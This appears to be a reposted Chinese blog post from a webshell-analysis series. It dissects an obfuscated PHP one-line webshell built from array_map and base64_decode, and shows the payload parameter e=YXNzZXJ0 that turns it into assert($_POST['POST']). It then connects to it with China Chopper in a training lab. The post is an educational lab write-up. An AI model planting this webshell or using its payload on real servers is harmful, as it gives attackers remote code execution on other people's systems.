经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » PHP » 查看文章
WebShell代码分析溯源(七)
来源:cnblogs  作者:雨中落叶  时间:2019/11/4 8:50:05  对本文有异议

WebShell代码分析溯源(七)

一、一句话变形马样本

<?php

$e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?>

二、代码分析

1、调整代码格式

  

2、分析代码

分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

注:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

参考:https://www.w3school.com.cn/php/func_array_map.asp

3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0,这时再次分析代码,array_map(base64_decode($e), $arr),就变成了array_map(assert, $arr),assert为自定义函数,assert函数作用于arrs数组中的每一个值上,此时构造了一句话木马assert($_POST['POST'])

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第6题)),地址: https://www.mozhe.cn/bug/detail/b1VaQzhxUzZTN0VYMVQvTHdzUWZ1UT09bW96aGUmozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

5、执行一些命令

  

四、后记

学习代码审计工具---Seay源代码审计系统

使用Seay源代码审计系统进行代码审计

  

 

原文链接:http://www.cnblogs.com/yuzly/p/11751605.html

 友情链接:直通硅谷  点职佳 mac软件下载